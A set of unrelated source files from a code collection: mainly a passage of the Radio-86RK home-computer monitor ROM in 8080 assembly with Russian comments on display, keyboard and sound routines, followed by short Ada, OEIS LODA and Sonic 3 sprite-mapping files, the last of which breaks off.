Это символ "стрелка вниз"? jz move_down ; Если да, то обработать cpi 1Bh ; Это код символа АР2? jz AR2_seq_beg ; Если да, то обработать cpi 7 ; Это символ звукового сигнала? jnz run_to_others ; Если нет, то перейти дальше ; Задать высоту и длительность звукового сигнала lxi b,beep ;---------------------------------------------------------------------------- ; Подпрограмма выдачи звукового сигнала ; Входные данные: B - задержка периода (высота тона) ; C - количество периодов (длительность) ; Формула для расчета параметров звука: ; b=47/f ; c=t/(b*0.021) ; где: f - частота звука в кГц ; t - длительность звука в милисекундах ; b и c - искомые значения для регистров B и C (целая часть) ; диапазоны значений f : 47кГц - 184Гц ; максимальные значения t : 32мс при f=8кГц ; 256мс при f=1кГц ; 1.4с при f=184Гц ; Если нужны большие длительности, необходим повторный вызов ; с тем же значением b. ; Звук формируется путем периодической смены уровня высокий/низкий ; на выходе INTE (разрешение прерывания) процессора с помощью ; инструкций EI - разрешение прерывания и ; DI - запрещение прерывания ;---------------------------------------------------------------------------- to_give_sound: ; Верхний полупериод mov a,b ; Помещаем задержку периода в A hi_beep_loop: ei ; На выход звука высокий уровень dcr a ; модифицируем счетчик jnz hi_beep_loop ; если не ноль, продолжить задержку ; Нижний полупериод mov a,b ; Помещаем задержку периода в A lo_beep_loop: di ; На выход звука низкий уровень dcr a ; модифицируем счетчик jnz lo_beep_loop ; если не ноль, продолжить задержку dcr c ; модифицировать счетчик периодов jnz to_give_sound ; продолжить если не ноль ret ;---------------------------------------------------------------------------- ; Печать остальных (отображаемых) символов run_to_others: mov m,c ; Выдать символ на экран call move_to_right ; Перейти на следующую позицию ; Если курсор оказался в исходной позиции (начало верхней строки), ; то вернуть его в начало самой нижней строки и выполнить скроллинг mov a,d ; Поместить номер текущей позиции по Y в A cpi 3 ; Это верхняя строка? rnz ; Если нет, то выйти. mov a,e ; Поместить номер текущей позиции по X в A cpi 8 ; Это первая позиция? rnz ; Если нет, то выйти. call move_up ; Перейти на самую нижнюю строку ;---------------------------------------------------------------------------- ; Выполнение управляющего символа ПС. ; Оно аналогично выполнению символа "стрелка вниз", за исключением случая, ; когда курсор находится в самой нижней строке. ; В этом случае происходит скроллинг (смещение) экрана вверх на 1 строку. ; При этом верхняя строка теряется, а нижняя очищается. run_PS: mov a,d ; Поместить номер текущей позиции по Y в A cpi 3+25-1 ; Курсор в самой нижней строке? jnz move_down ; Если нет, то перейти на строку вниз push h ; Если да, то сохранить push d ; DE и HL ; Выполняется смещение экрана на 1 строку вверх, начиная с первой lxi h,vid_mem+(78*3)+8 ; Адрес начала 1 строки экрана lxi d,vid_mem+(78*(3+1))+8 ; Адрес начала 2 строки экрана lxi b,25*78 ; Количество пересылаемых байт ; Цикл смещения экрана на 1 строку вверх scroll_loop: ldax d ; Помещаем нижний код в A mov m,a ; Сохраняем его наверху inx h ; Модифицируем оба inx d ; указателя dcx b ; Модифицировать счетчик байт mov a,c ; Проверить его ora b ; на ноль jnz scroll_loop ; Если не ноль, то продолжить pop d ; Восстановить pop h ; регистры и выйти ret ;---------------------------------------------------------------------------- ; Обработка 1 байта в АР2 посследовательности ; Это обязательно должен быть код символа Y - 59h AR2_b1: mov a,c ; Поместить код в A cpi 'Y' ; Это символ Y? jnz idle_seq ; Если нет, то сброс АР2 call cursor_to_0_0 mvi a,2 ; Устанавливаем 2 байт в АР2 jmp update_and_exit ; и выходим ;---------------------------------------------------------------------------- ; Обработка 2 байта в АР2 посследовательности ; Здесь передается смещение курсора по вертикали Y + 20h AR2_b2: mov a,c ; Получаем из параметра sui 20h ; действительное значение mov c,a ; смещения по Y ; Цикл смещения вниз AR2_move_Y_loop: dcr c ; Модифицировать счетчик mvi a,4 ; Установить признак (?) jm update_and_exit ; Если последний, то выйти push b ; Сохраняем BC call move_down ; Переходим на строку вниз pop b ; Восстанавливаем BC jmp AR2_move_Y_loop ; Продолжаем смещение вниз ;---------------------------------------------------------------------------- ; Перемещаем курсор и выходим из подпрограммы mov_cur_and_exit: shld cursor_addr ; Сохраняем адрес вывода xchg shld cursor_xy ; и координаты курсора mvi a,80h ; Подаем команду "установить sta control_VG75 ; курсор" на ВГ75 mov a,l ; и передаем sta parametrs_VG75 ; новые координаты mov a,h sta parametrs_VG75 pop h ; восстанавливаем pop d ; контекст процессора pop b ; и выходим pop psw ret ;---------------------------------------------------------------------------- ; Был прочитан код символа АР2, необходимо прочитать АР2 последовательность. ; Реализована только одна АР2 последовательность: ; Установка курсора в заданные координаты ; АР2+'Y'+(x+20h)+(y+20h), ; где x - номер позиции в строке (0 - 63), ; y - номер строки (0 - 24). ; Отсчет начинается с верхнего левого угла экрана. ;---------------------------------------------------------------------------- AR2_seq_beg: mvi a,1 ; Установить признак 1 байта jmp update_and_exit ; последовательности и выйти ;---------------------------------------------------------------------------- ; Обработка управляющего символа инициализации дисплея СТР. ; Выполняются следующие действия: ; - вся экранная область ОЗУ (2342 байта) обнуляется, ; - курсор устанавливается в нулевую позицию. ; Очистка начинается с конечного адреса видео ОЗУ, с нижнего правого угла экрана. ;---------------------------------------------------------------------------- init_display: lxi h,end_vid_mem ; Ввести в HL верхнюю границу видео ОЗУ lxi d,(78*30)+1 ; Установить количество байт очистки ; Цикл очистки дисплея clear_disp_loop: xra a ; Обнуляем A mov m,a ; Выдаем 0 в очередную ячейку видео ОЗУ dcx h ; Модифицируем указатель на видео ОЗУ dcx d ; Модифицируем счетчик mov a,e ; Проверяем счетчик ora d ; на 0 jnz clear_disp_loop ; Если не 0, то продолжить ;---------------------------------------------------------------------------- ; Установка курсора в начальную позицию (левый верхний угол экрана). ; На самом деле курсор устанавливается в 8-ю позицию 3-й строки cursor_to_0_0: lxi d,308h ; Установить начальную lxi h,vid_mem+(78*3)+8 ; позицию дисплея ret ;---------------------------------------------------------------------------- ; Перемещение курсора на одну позицию вправо move_to_right: mov a,e ; Поместить номер текущей позиции по X в A inx h ; Модифицировать адрес видео ОЗУ курсора inr e ; Увеличить позицию по X cpi 8+64-1 ; Это самая правая позиция? rnz ; Если нет, то выйти mvi e,8 ; Если да, то перейти на крайне левую позицию lxi b,-64 ; Указатель на видео ОЗУ dad b ; тоже отмотать на 64 позиции влево ;---------------------------------------------------------------------------- ; Перемещение на одну строку вниз move_down: mov a,d ; Поместить номер текущей позиции по Y в A cpi 3+25-1 ; Это самая нижняя позиция? lxi b,78 ; Прибавка в адресе для нижней позиции jnz not_in_bottom ; Если нет, то перейти mvi d,3-1 ; Если да, то задать верхнюю строку, lxi b,-24*78 ; И смещение для адреса в верхней строке not_in_bottom: inr d ; Перейти на новую строку, dad b ; скорректировать адрес в соответствии ret ; со смещением и выйти. ;---------------------------------------------------------------------------- ; Перемещение курсора на одну позицию влево move_to_left: mov a,e ; Поместить номер текущей позиции по X в A dcx h ; Модифицировать адрес видео ОЗУ курсора dcr e ; Уменьшить позицию по X cpi 8 ; Это самая левая позиция? rnz ; Если нет, то выйти mvi e,8+64-1 ; Если да, установить самую правую позицию lxi b,64 ; и модифицировать адрес dad b ; для самой правой позиции в строке ;---------------------------------------------------------------------------- ; Перемещение на одну строку вверх move_up: mov a,d ; Поместить номер текущей позиции по Y в A cpi 3 ; Это самая верхняя строка? lxi b,-78 ; Ввести смещение адреса для позиции сверху jnz not_in_top ; Если не верхняя, то перейти mvi d,3+25 ; Если да, то задать нижнюю строку lxi b,24*78 ; И смещение для адреса в нижней строке not_in_top: dcr d ; Перейти на новую строку, dad b ; скорректировать адрес в соответствии ret ; со смещением и выйти. ;---------------------------------------------------------------------------- ; Выполнение управляющего символа ВК. ; Происходит перевод курсора в самую левую позицию текущей строки run_BK: mov a,l ; Младший байт адреса в А sub e ; Вычесть номер позиции в строке jnc no_borrow ; Если заем, то уменьшить dcr h ; старший байт на 1 no_borrow: mov l,a ; Сохранить новый младший байт адреса mvi e,8 ; Установить первую позицию в строке lxi b,8 ; Ввести смещение для первой позиции dad b ; Получить адрес первой позиции в строке ret ; и выйти ;---------------------------------------------------------------------------- ; Опрос состояния клавиатуры ; Выходные параметры: A = 0FFh - клавиша нажата ; A = 0 - клавиша не нажата ; Эта подпрограмма реализует функцию автоповтора клавиатуры ; и устранения дребезга контактов. Для этого ведется специальный счетчик ; обращений и признак нажатия выдается только при определенном количестве ; обращений и постоянном удержании одной и той же клавиши. Код нажатой ; клавиши берется из служебной ячейки. ; ; Номер обращения Обрабатываемое событие ~задержка ; 21 Устранение дребезга контактов (161+?)*21 ; 21+224 Начальная задержка автоповтора (161+?)*224 ; 21+224+64*N Стандартный период автоповтора (161+?)*64 ; N = 1,2,3 и т.д. ; ; Стандартная задержка между обращениями к подпрограмме составляет 31 такт. ;---------------------------------------------------------------------------- entry_kbhit: ; Проверка на нажатие клавиши [РУС/ЛАТ] lda port_C_kbd ; Читаем из порта C D20 ani 80h ; берем только [РУС/ЛАТ] jz rus_lat_not_press ; если отпущена, продолжаем lda pressed_key ; Если нажата, проверяем ora a ; на нажатую ранее клавишу rnz ; если нажата, выходим rus_lat_not_press: push h ; освобождаем HL lhld keyboard_context ; загрузить параметры автоповтора call entry_scan_kbd ; Получить код нажатой клавиши ; FE - если рус/лат ; FF - если не нажата cmp l ; сравнить со старым mov l,a ; сохранить jz retention ; если равны, то удержание ; Здесь определяется, что клавиша отпущена key_is_released: mvi a,1 ; Признак отпускания клавиши sta released ; сохранить в служебной ячейке mvi h,bounce ; задержка, для устранения ; дребезга контактов not_pr_exit: xra a ; Установить признак "Клавиша не нажата" kbd_exit: shld keyboard_context ; Сохраняем параметры автоповтора pop h ; восстанавливаем HL sta pressed_key ; ret ;---------------------------------------------------------------------------- ; Обработка удержания клавиши retention: dcr h ; Модифицировать счетчик задержки jnz not_pr_exit ; если время не вышло, не нажата inr a ; если ff jz kbd_exit ; Выход если клавиша не нажата inr a ; если fe jz if_rus_lat ; обработать [РУС/ЛАТ] ; Здесь определяется, что нажата новая клавиша push b lxi b,kb_click ; выдать щелчек call to_give_sound ; от нажатия клавиши pop b lda released ; прочитать признак ненажатия mvi h,first_kb_delay ; установить начальную задержку ; автоповтора dcr a ; модифицировать sta released ; и сохранить признак ненажатия jz its_first ; если это удержание, mvi h,stndr_kb_delay ; то ввести стандартную задержку ; автоповтора its_first: mvi a,0FFh ; признак нажатия клавиши jmp kbd_exit ; выйти с этим признаком ;---------------------------------------------------------------------------- ; Обработка клавиши [РУС/ЛАТ] ; Далее следует бесконечный цикл ожидания отпускания клавиши [РУС/ЛАТ] if_rus_lat: lda port_C_kbd ; Читаем порт C D20 ani 80h ; берем только [РУС/ЛАТ] jz if_rus_lat ; ждем пока отпустится ; Инверсия признака рус/лат для эммитации кнопки с фиксацией lda ruslat_flag cma sta ruslat_flag jmp key_is_released ;---------------------------------------------------------------------------- ; Подпрограмма ввода символа с клавиатуры ; Выходные данные : A - введенный символ ; Подрограмма не возвращает управления пока не будет нажата и или ; удержана клавиша на клавиатуре и не выполнится задержки реализованные ; в предыдущей подпрограмме. ;---------------------------------------------------------------------------- entry_getc: ; Здесь организован бесконечный цикл ожидания нажатия клавиши call entry_kbhit ; Читаем состояние клавиатуры ora a ; устанавливаем признаки для A jz entry_getc ; Если клавиша не нажата, ; то ждать. xra a ; сбрасываем признак sta pressed_key ; нажатия клавиши lda keyboard_context ; берем код из служебной ячейки ret ; и выходим ;---------------------------------------------------------------------------- ; Опрос кода нажатой клавиши ; Выходные параметры: A = 0FFh - клавиша не нажата ; A = 0FEh - нажата клавиша [РУС/ЛАТ] ; или A = код символа нажатой клавиши ; Подпрограмма выполняет сканирование матрицы клавиатуры 8х8 и ; выдает код первой попавшейся нажатой клавиши. ;---------------------------------------------------------------------------- entry_scan_kbd: ; Проверка на нажатие клавиши [РУС/ЛАТ] lda port_C_kbd ; Читаем порт вспомагательных клавиш ani 80h ; выбираем только [РУС/ЛАТ] jnz fast_kbd_contrl ; если не нажата, то дальше mvi a,0FEh ; если нажата, то выдаем признак ret ; и выходим ; Быстрая проверка на нажатие клавиш fast_kbd_contrl: xra a ; обнулить A sta port_A_kbd ; все линии сканирования =0 sta port_C_kbd ; погасить рус/лат lda ruslat_flag ; получить признак рус/лат в A ani 1 ; установить разряд светодиода ; в соответствии с рус/лат ori 6 ; подготовить команду вывода sta contr_reg_kbd ; выдать команда зажечь/погасить ; светодиод рус/лат lda port_B_kbd ; прочитать соотояние матрицы inr a ; если хотя бы 1 клавиша нажата, jnz key_is_press ; то A != 0FFh dcr a ; если равно, то установить признак ret ; и выйти ; Обработка, если хотя бы одна клавиша нажата ; Выполняем сканарование матрицы ; Задаем начальные параметры key_is_press: push h ; сохраняем HL mvi l,1 ; Заготовка для байта сканирования mvi h,8-1 ; количество проходов для сканирования ; Цикл сканирования столбцов матрицы (используется порт A D20) scan_kbd_loop: mov a,l ; сдвигаем заготовку для сканирования rrc mov l,a cma sta port_A_kbd ; активируем очередную шину сканирования lda port_B_kbd ; читаем состояния клавиш cma ora a ; если хоть одна из клавиш нажата jnz scan_bounce ; то обслужить dcr h ; модификация счетчика проходов jp scan_kbd_loop ; если на последний, ; то продолжить сканирование ; Клавиша не нажата или дребезг контактов not_press: mvi a,0FFh ; Устанавливаем признак pop h ; ненажатия и выходим ret ; Устранение дребезга контактов ; Происходит путем опроса нажатия 32 раза ; Если хотя бы 1 раз не будет подтверждения нажатия, ; то клавиша считается ненажатой scan_bounce: mvi l,32 ; Инициализируем счетчик количества ; опросов scan_boun_loop: lda port_B_kbd ; Читаем состояние клавиш cma ora a ; Если не нажаты, jz not_press ; то выйти dcr l ; модифицировать счетчик опроса jnz scan_boun_loop ; если не последний, то продолжить mvi l,8 ; задаем количество клавиш в столбце ;---------------------------------------------------------------------------- ; Эта часть подпрограммы производит дешифрацию скан кода клавиш ; и присваивает ей определенный код, при этом используются ; клавиши модификаторы УС СС и РУС/ЛАТ ;---------------------------------------------------------------------------- ; Таблица скан кодов клавиатуры РК ;------------------------------------------------------------------ ; Клавиша : Столбец : ; в :-------------------------------------------------------- ; столбце : 0 : 1 : 2 : 3 : 4 : 5 : 6 : 7 : ;------------------------------------------------------------------ ; 0 : |- 00: 00: 0 30: 8 38: Ю 40: Х 48: П 50: Ь 58: ; : |\ : ТАБ : : ( : @ : H : P : X : ;------------------------------------------------------------------ ; 1 : 01: 01: 1 31: 9 39: А 41: И 49: Я 51: Ы 59: ; : СТР : ПС : ! : ) : A : I : Q : Y : ;------------------------------------------------------------------ ; 2 : 02: 02: 2 32: : 3A: Б 42: Й 4A: Р 52: З 5A: ; : AR2 : ВК : " : * : B : J : R : Z : ;------------------------------------------------------------------ ; 3 : 03: 03: 3 33: ; 3B: Ц 43: К 4B: С 53: Ш 5B: ; : F1 : ЗБ : # : + : C : K : S : [ : ;------------------------------------------------------------------ ; 4 : 04: 04: 4 34: , 3C: Д 44: Л 4C: Т 54: Э 5C: ; : F2 : <- : $ : < : D : L : T : \ : ;------------------------------------------------------------------ ; 5 : 05: ^ 05: 5 35: - 3D: Е 45: М 4D: У 55: Щ 5D: ; : F3 : | : % : = : E : M : U : ] : ;------------------------------------------------------------------ ; 6 : 06: 06: 6 36: . 3E: Ф 46: Н 4E: Ж 56: Ч 5E: ; : F4 : -> : & : > : F : N : V : ^ : ;------------------------------------------------------------------ ; 7 : 07: | 07: 7 37: / 3F: Г 47: О 4F: В 57: 5F: ; : : V : , : ? : G : O : W :пробел: ;------------------------------------------------------------------ ; Для столбцов 0 и 1 скан коды одинаковы потому, что перекодировка ; происходит табличным способом в отдельных ветках для каждого столбца. ; В столбцах 2 - 7 к номеру клавиши: 00SSSNNNb, где SSS - номер столбца, ; NNN - номер клавиши, прибавляется 20h, чтобы упростить декодирование ;---------------------------------------------------------------------------- ; Цикл определения номера клавиши в столбце ; Здесь из позиционного кода, считанного с порта B D20, мы ; получаем номер клавиши в столбце (начиная со старших номеров) num_kbd_loop: dcr l ; Уменьшаем счетчик номера rlc ; сдвигаем код влево через C jnc num_kbd_loop ; дальше, если клавиша не нажата mov a,h ; меняем местами H <-> L mov h,l ; через A mov l,a ; Колонки 0 и 1 это управляющие символы, используемые в стандартных ; дисплеях. Для перекодировки используются специальные таблицы cpi 1 ; это 1 колонка jz make_1_column ; если да, то обслужить jc make_0_column ; обслужить 0 колонку ; Остальные клавиши используются для ввода отображаемых символов rlc ; умножаем номер колонки rlc ; на 8 для получения rlc ; полного кода adi 20h ; Остальные коды начинаются с 30h ora h ; прибавить номер кнопки колонке cpi 5Fh ; Это клавиша пробела? jnz run_others ; Если нет, то продолжить mvi a,20h ; Если да, то ввести в A код пробела pop h ; восстановить HL и выйти ret ;---------------------------------------------------------------------------- ; Это таблица перекодировки управляющих клавиш, подключенных к 0 столбцу ;---------------------------------------------------------------------------- column1table: .db 9 ; табуляция .db 0Ah ; перевод строки .db 0Dh ; возврат каретки .db 7Fh ; забой .db 8 ; стрелка влево .db 19h ; стрелка вверх .db 18h ; стрелка вправо .db 1Ah ; стрелка вверх ;---------------------------------------------------------------------------- ; Это таблица перекодировки управляющих клавиш, подключенных к 1 столбцу ;---------------------------------------------------------------------------- column0table: .db 0Ch ; курсор в начало экрана .db 1Fh ; стереть экран .db 1Bh ; АР2 .db 0 ; F1 .db 1 ; F2 .db 2 ; F3 .db 3 ; F4 .db 4 ; F5 (этой клавиши нет), .db 5 ; а этой и быть не может (?) ;---------------------------------------------------------------------------- ; Обслуживание клавиш нулевой колонки make_0_column: mov a,h ; помещаем код клавиши в A (0-7) lxi h,column0table ; HL - казатель на таблицу jmp run_table ;---------------------------------------------------------------------------- ; Обслуживание клавиш первой колонки make_1_column: mov a,h ; помещаем код клавиши в A (0-7) lxi h,column1table ; HL - казатель на таблицу run_table: add l ; Получаем указатель на код в таблице (?) mov l,a ; в HL mov a,m ; получаем код в A cpi 40h ; Это клавиша ЗБ? pop h ; если нет, то выйти rc push h ;---------------------------------------------------------------------------- ; Здесь происходит выдача кода для всех клавиш, кроме управляющих, [ЗБ] и пробела. ; Эти клавиши выдают 1 из 2-х символов в зависимости от состояния клавиш [СС], [УС] ; и режима рус/лат. Скан код клавиши находится в L, состояние клавиш [СС] и [УС] в H. ;---------------------------------------------------------------------------- run_others: mov l,a ; Поместить скан код в L lda port_C_kbd ; Прочитать вспомагательные клавиши mov h,a ; сохранить в H ani 40h ; Выбрать только УС jnz rus_or_lat ; Если не нажата, то дальше ; Обслуживание модификационной клавиши [УС]. ; Она работает только с буквенными клавишами с кодом 40h - 5Fh. ; Если нажата одна из этих клавиш в сочетании с [УС], то ; выдается код на 30h меньше, т.е. 00h-1Fh (управляющие коды) ; Признак рус/лат на управляющие коды не влияет mov a,l ; поместить код в A cpi 40h ; Это буквы? jm not_press_YCCC ; Если нет, то ... ani 1Fh ; обнуляем старшие биты pop h ; и выходим ret ; Выдача кода в зависимости от состояния рус/лат ; Действует только на буквенные клавиши со кодом 40h - 5Fh. ; Если признак рус/лат в состоянии лат (=0), то скан код = код. ; Если рус/лат = рус (=0FFh), то код больше от скан кода на 20h. rus_or_lat: lda ruslat_flag ; Получить признак раскладки ora a ; установить флаги jz run_CC ; Если не рус, то ничего не меняем mov a,l ; скан код в A cpi 40h ; Если не буквенная клавиша, jm run_CC ; тоже ничего не меняем ori 20h ; если буквенная, то перевести mov l,a ; все буквы в русский регистр ; Обслуживание модификационной клавиши [СС]. ; Действие клавиши зависит от назначения (кода) клавиши. ; Буквенные клавиши меняют раскладку рус <-> лат ; Символьные и цифровые клавиши выдают один из 2-х символов ; которые она обозначает ;---------------------------------------------------------------------------- ; run_CC: mov a,h ; Выделить состояние клавиши [СС] ani 20h ; в A jnz not_press_YCCC ; Если не нажата, то .... mov a,l ; Если нажата, то поместить код в A cpi 40h ; jm not_press_CC ; клавиша цифровая или символьная? mov a,l ; если нет, то перевести латинские xri 20h ; буквы в русские или наоборот, pop h ; восстановить HL и выйти ret not_press_CC: mov a,l ; Если это не буквенная клавиша, ani 2Fh ; то сбрость ставший бит (?) mov l,a ; Если модификационные клавиши УС и СС не нажаты not_press_YCCC: mov a,l ; Взять код клавиши cpi 40h ; Если это буква, pop h ; то выйти rp ; Обработка цифровых и символьных клавиш push h ; mov l,a ; сохранить код в L ani 0Fh ; сбрасываем ненужные биты cpi 0Ch ; для клавиш с кодом mov a,l ; 20h - 2Ch и 30h - 3Ch jm not_high ; меняются местами xri 10h ; not_high: pop h ; Восстановить HL ret ; и выйти ;---------------------------------------------------------------------------- ; Определение верхней границы свободной памяти. ; Используется для программ, создающих в памяти буфер больших ; размеров (обычно текстовый). ; Если в ОЗУ необходимо разместить какую либо программу (резидентную или ; драйвер), ее размещают в верхней области (ниже служебной области Монитора), ; а границу верхней свободной памяти устанавливают на байт ниже. ; Это предотвратит затирание кода программы растущим буфером. ;---------------------------------------------------------------------------- entry_getlim: lhld memlim ; Читаем значение из ret ; служебной ячейки ;---------------------------------------------------------------------------- ; Установка верхней границы свободной памяти ;---------------------------------------------------------------------------- entry_setlim: shld memlim ; Сохраняем значение ret ; в служебной ячейке ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; Здесь хранятся различные строковые константы или сообщения. ; Примечание: Строковые константы всегда заканчиваются байтом =0 ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; Начальное сообщение, выводимое при инициализации компьютера Radio: .db 1Fh,"radio-86rk",0 ;---------------------------------------------------------------------------- ; Промт. Сообщение, указывающее, что монитор готов к вводу новой команды. Prompt: .db 0Dh,0Ah,"-->",0 ;---------------------------------------------------------------------------- ; Отступ для вывода адреса с новой строки offset_: .db 0Dh,0Ah,18h,18h,18h,18h,0 ; Сообщение выдаваемое при выполнении команды X - просмотр и изменение ; регистров процессора для отладки. Сообщение состоит из 6 строк. ; После вывода курсор возвращается на 1 строку. Regs: .db 0Dh,0Ah," PC-" .db 0Dh,0Ah," HL-" .db 0Dh,0Ah," BC-" .db 0Dh,0Ah," DE-" .db 0Dh,0Ah," SP-" .db 0Dh,0Ah," AF-" .db 19h,19h,19h,19h,19h,19h,0 ;---------------------------------------------------------------------------- ; Это сообщение затирает предыдущий символ и ставит курсор на его место BackClr: .db 8,20h,8,0 ;---------------------------------------------------------------------------- ; Адрес возврата из отлаживаемой программы. ; Выполняется только если в команде G Монитора (см. выше) указан адрес ; останова в качестве второго параметра. ; Содержимое регистров сохраняется в служебных ячейках Монитора. ; В последствии его можно просмотреть командой X Монитора. ; На экран выдается адрес останова. И управление передается на ; "горячий" старт Монитора (prompt_loop). return_address: ; Сначала сохраняем HL shld HL_storage ; Сохраняем HL ; A и PSW сохраняем через стек и HL push psw ; Сохраняем A и PSW pop h ; через стек и HL shld AF_storage ; Возвращаем из стека реальный адрес останова, он может отличаться от ; указанного в команде G. Он сохраняется в стеке, поскольку мы ; используем команду RST 6, и больше на 1. pop h ; Берем реальный адрес останова dcx h ; из стека shld PC_storage ; и сохраняем его ; Через HL получаем значение указателя стека и используя последний ; сохраняем значения всех остальных регистров lxi h,0 ; Получаем значение dad sp ; указателя стека в HL lxi sp,SP_storage+2 ; Настраиваем SP push h ; и сохраняем push d ; все регистры push b ; через стек lhld PC_storage ; Берем адрес останова lxi sp,stack_bott ; Настраиваем стек call type_addr_from_HL ; Выдаем адрес останова на экран ; Проверяем, соответствует ли реальный адрес останова, введенному в команде G? xchg lhld stop_addr ; Берем адрес останова из команды G call cmp_hl_de ; Сравниваем с реальным адресом останова jnz prompt_loop ; Если не равны, то выходим ; Если они равны, восстанавливаем значение байта по этому адресу, ; сохраненное ранее командой G. lda byte_in_stop_adr ; Если равны, берем байт с адреса mov m,a ; останова и восстанавливая его jmp prompt_loop ; выходим ;---------------------------------------------------------------------------- ; Выполнение команды X Монитора. ; Выдается на экран содержимое регистров общего назначения (РОН) ; процессора ВМ80 (в виде регистровых пар), хранящееся в служебных ; ячейках Монитора с возможностью изменения их содержимого. ; Используется для отладочного запуска программ командой G Монитора. print_regs: lxi h,Regs ; Выдать на экран список имен call entry_puts ; РОН и перейти на самый верхний lxi h,PC_storage ; Адрес первой служебной ячейки mvi b,6 ; Задать количество регистровых пар ; Цикл печати/изменения содержимого РОН print_regs_loop: mov e,m ; Поместить содержимое inx h ; регистровой пары mov d,m ; в DE push b ; Сохранить регистры push h ; в стеке xchg ; Поместить содержимое в HL call type_addr_from_HL ; Выдать содержимое на экран call input_string ; Ввести изменения с клавиатуры jnc no_regs_change ; Если изменений нет, то перейти call str_to_parametr ; Получить новое значение в HL pop d ; Произвести обмен HL <-> DE push d ; Через стек xchg mov m,d ; Сохранить изменения dcx h ; в служебной ячейке mov m,e ; по тому же адресу no_regs_change: pop h ; Восстановить регистры pop b ; из стека dcr b ; Модифицировать счетчик регистров inx h ; Перейти к следующей служебной ячейке jnz print_regs_loop ; если не последний, то продолжить ret ; если последний регистр, то выйти ;---------------------------------------------------------------------------- ; Эти 2 байта в программе не используются. ; В разных публикациях они выглядят по разному: ; Так они выглядят в журнале "Радио" №8 1986г. стр.24 .dw 0FFFFh ; Так на компьютере УМПК-Р-32, выпущеным Мукачевским приборостроительным заводом, ; .dw 0FFh ; Так они выглядят в книге "Домашний компьютер" МРБ в.1139 ; <NAME>, <NAME> и <NAME>, Радио и связь 1989г. стр.65,66 ; .dw 89BBh ; junk .end
Task/Reverse-words-in-a-string/Ada/reverse-words-in-a-string-1.ada
LaudateCorpus1/RosettaCodeData
1
3265
<filename>Task/Reverse-words-in-a-string/Ada/reverse-words-in-a-string-1.ada package Simple_Parse is -- a very simplistic parser, useful to split a string into words function Next_Word(S: String; Point: in out Positive) return String; -- a "word" is a sequence of non-space characters -- if S(Point .. S'Last) holds at least one word W -- then Next_Word increments Point by len(W) and returns W. -- else Next_Word sets Point to S'Last+1 and returns "" end Simple_Parse;
source/numerics/a-nscoty.ads
ytomino/drake
33
447
<gh_stars>10-100 pragma License (Unrestricted); with Ada.Numerics.Generic_Complex_Types; package Ada.Numerics.Short_Complex_Types is new Generic_Complex_Types (Short_Float); pragma Pure (Ada.Numerics.Short_Complex_Types);
programs/oeis/151/A151842.asm
karttu/loda
0
100597
; A151842: a(3n)=n, a(3n+1)=2n+1, a(3n+2)=n+1. ; 0,1,1,1,3,2,2,5,3,3,7,4,4,9,5,5,11,6,6,13,7,7,15,8,8,17,9,9,19,10,10,21,11,11,23,12,12,25,13,13,27,14,14,29,15,15,31,16,16,33,17,17,35,18,18,37,19,19,39,20,20,41,21,21,43,22,22,45,23,23,47 lpb $0,1 add $1,1 trn $$2,3 add $1,$$0 lpe
Levels/AIZ/Misc Object Data/Map - Ride Vine S3.asm
NatsumiFox/AMPS-Sonic-3-Knuckles
5
243299
dc.w word_209FE-Map_AIZRideVine dc.w word_20A06-Map_AIZRideVine dc.w word_20A0E-Map_AIZRideVine dc.w word_20A16-Map_AIZRideVine dc.w word_20A1E-Map_AIZRideVine dc.w word_20A26-Map_AIZRideVine dc.w word_20A2E-Map_AIZRideVine dc.w word_20A36-Map_AIZRideVine dc.w word_20A3E-Map_AIZRideVine dc.w word_20A46-Map_AIZRideVine dc.w word_20A4E-Map_AIZRideVine dc.w word_20A56-Map_AIZRideVine dc.w word_20A5E-Map_AIZRideVine dc.w word_20A66-Map_AIZRideVine dc.w word_20A6E-Map_AIZRideVine dc.w word_20A76-Map_AIZRideVine dc.w word_20A7E-Map_AIZRideVine dc.w word_20A86-Map_AIZRideVine dc.w word_20A8E-Map_AIZRideVine dc.w word_20A96-Map_AIZRideVine dc.w word_20A9E-Map_AIZRideVine dc.w word_20AA6-Map_AIZRideVine dc.w word_20AAE-Map_AIZRideVine dc.w word_20AB6-Map_AIZRideVine dc.w word_20ABE-Map_AIZRideVine dc.w word_20AC6-Map_AIZRideVine dc.w word_20ACE-Map_AIZRideVine dc.w word_20AD6-Map_AIZRideVine dc.w word_20ADE-Map_AIZRideVine dc.w word_20AE6-Map_AIZRideVine dc.w word_20AEE-Map_AIZRideVine dc.w word_20AF6-Map_AIZRideVine dc.w word_20AFE-Map_AIZRideVine dc.w word_20B06-Map_AIZRideVine word_209FE: dc.w 1 dc.b 0, 1, 0, $1B, $FF, $F8 word_20A06: dc.w 1 dc.b 0, 1, 0, $19, $FF, $F8 word_20A0E: dc.w 1 dc.b 0, 1, 0, $17, $FF, $F8 word_20A16: dc.w 1 dc.b 0, 5, 0, $13, $FF, $F0 word_20A1E: dc.w 1 dc.b 0, 5, 0, $F, $FF, $F0 word_20A26: dc.w 1 dc.b 0, 5, 0, $B, $FF, $F0 word_20A2E: dc.w 1 dc.b 0, 4, 0, 9, $FF, $F0 word_20A36: dc.w 1 dc.b 0, 4, 0, 7, $FF, $F0 word_20A3E: dc.w 1 dc.b 0, 4, 0, 5, $FF, $F0 word_20A46: dc.w 1 dc.b $F9, 4, $10, 7, $FF, $F0 word_20A4E: dc.w 1 dc.b $F9, 4, $10, 9, $FF, $F0 word_20A56: dc.w 1 dc.b $F1, 5, $10, $B, $FF, $F0 word_20A5E: dc.w 1 dc.b $F1, 5, $10, $F, $FF, $F0 word_20A66: dc.w 1 dc.b $F1, 5, $10, $13, $FF, $F0 word_20A6E: dc.w 1 dc.b $F1, 1, $10, $17, $FF, $F8 word_20A76: dc.w 1 dc.b $F1, 1, $10, $19, $FF, $F8 word_20A7E: dc.w 1 dc.b $F1, 1, $10, $1B, $FF, $F8 word_20A86: dc.w 1 dc.b $F1, 1, $18, $19, $FF, $FF word_20A8E: dc.w 1 dc.b $F1, 1, $18, $17, $FF, $FF word_20A96: dc.w 1 dc.b $F1, 5, $18, $13, $FF, $FF word_20A9E: dc.w 1 dc.b $F1, 5, $18, $F, $FF, $FF word_20AA6: dc.w 1 dc.b $F1, 5, $18, $B, $FF, $FF word_20AAE: dc.w 1 dc.b $F9, 4, $18, 9, $FF, $FF word_20AB6: dc.w 1 dc.b $F9, 4, $18, 7, $FF, $FF word_20ABE: dc.w 1 